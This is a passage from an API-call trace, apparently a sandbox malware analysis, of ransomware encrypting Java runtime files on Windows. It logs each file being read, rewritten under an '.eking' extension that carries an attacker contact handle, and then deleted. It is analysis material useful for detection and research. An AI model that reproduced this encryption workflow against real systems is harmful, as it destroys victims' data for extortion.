files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0239.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0239.608] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0239.608] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0239.608] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0239.610] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x5b5, lpOverlapped=0x0) returned 1 [0239.614] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x5c0, lpOverlapped=0x0) returned 1 [0239.615] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0239.616] CloseHandle (hObject=0x388) returned 1 [0239.616] CloseHandle (hObject=0x380) returned 1 [0239.619] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 0 [0239.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0239.622] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=2022734) returned 1 [0239.622] CloseHandle (hObject=0x380) returned 1 [0239.622] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20 [0239.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0 [0239.623] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), lpNewFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0 [0239.623] SetEvent (hEvent=0x2b8) returned 1 [0239.624] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0239.625] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=42185) returned 1 [0239.625] CloseHandle (hObject=0x380) returned 1 [0239.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0239.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20 [0239.626] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0239.626] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0239.626] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0239.626] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0239.627] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0239.628] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xa4c9, lpOverlapped=0x0) returned 1 [0240.397] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xa4d0, lpOverlapped=0x0) returned 1 [0240.400] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0240.401] CloseHandle (hObject=0x380) returned 1 [0240.401] CloseHandle (hObject=0x388) returned 1 [0240.404] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0 [0240.405] SetEvent (hEvent=0x2b8) returned 1 [0240.405] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.406] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=280161) returned 1 [0240.406] CloseHandle (hObject=0x388) returned 1 [0240.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0240.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20 [0240.406] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0240.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.407] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.407] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.407] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0240.408] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x44661, lpOverlapped=0x0) returned 1 [0240.425] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x44670, lpOverlapped=0x0) returned 1 [0240.666] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0240.667] CloseHandle (hObject=0x388) returned 1 [0240.667] CloseHandle (hObject=0x380) returned 1 [0240.678] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0 [0240.678] SetEvent (hEvent=0x2b8) returned 1 [0240.680] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0240.681] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=32699) returned 1 [0240.681] CloseHandle (hObject=0x380) returned 1 [0240.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0240.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0x20 [0240.681] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0240.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0240.682] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.682] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.682] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0240.683] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x7fbb, lpOverlapped=0x0) returned 1 [0240.687] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x7fc0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x7fc0, lpOverlapped=0x0) returned 1 [0240.689] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0240.690] CloseHandle (hObject=0x380) returned 1 [0240.690] CloseHandle (hObject=0x388) returned 1 [0240.692] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar")) returned 0 [0240.693] SetEvent (hEvent=0x2b8) returned 1 [0240.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.694] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=251327) returned 1 [0240.694] CloseHandle (hObject=0x388) returned 1 [0240.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0240.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0x20 [0240.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0240.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0240.696] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.696] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0240.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0240.699] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3d5bf, lpOverlapped=0x0) returned 1 [0240.952] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3d5c0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3d5c0, lpOverlapped=0x0) returned 1 [0240.960] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0240.960] CloseHandle (hObject=0x388) returned 1 [0240.961] CloseHandle (hObject=0x380) returned 1 [0240.973] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunpkcs11.jar")) returned 0 [0240.973] SetEvent (hEvent=0x2b8) returned 1 [0241.072] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.073] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=68924) returned 1 [0241.073] CloseHandle (hObject=0x380) returned 1 [0241.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0241.073] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0x20 [0241.074] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.074] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.074] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.074] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x388 [0241.075] ReadFile (in: hFile=0x380, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x10d3c, lpOverlapped=0x0) returned 1 [0241.080] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x10d40, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x10d40, lpOverlapped=0x0) returned 1 [0241.082] WriteFile (in: hFile=0x388, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0241.082] CloseHandle (hObject=0x380) returned 1 [0241.082] CloseHandle (hObject=0x388) returned 1 [0241.089] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\zipfs.jar")) returned 0 [0241.089] SetEvent (hEvent=0x2b8) returned 1 [0241.089] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.091] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3928) returned 1 [0241.091] CloseHandle (hObject=0x388) returned 1 [0241.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0241.091] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0x20 [0241.092] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0241.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0241.092] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.092] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0241.092] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x380 [0241.093] ReadFile (in: hFile=0x388, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xf58, lpOverlapped=0x0) returned 1 [0241.096] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf60, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf60, lpOverlapped=0x0) returned 1 [0241.098] WriteFile (in: hFile=0x380, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x102, lpOverlapped=0x0) returned 1 [0241.098] CloseHandle (hObject=0x388) returned 1 [0241.098] CloseHandle (hObject=0x380) returned 1 [0241.104] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\flavormap.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\flavormap.properties")) returned 0 [0241.104] SetEvent (hEvent=0x2b8) returned 1 [0241.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.bfc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.bfc"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0241.106] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3770) returned 1 [0241.106] CloseHandle (hObject=0x380) returned 1 [0241.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program 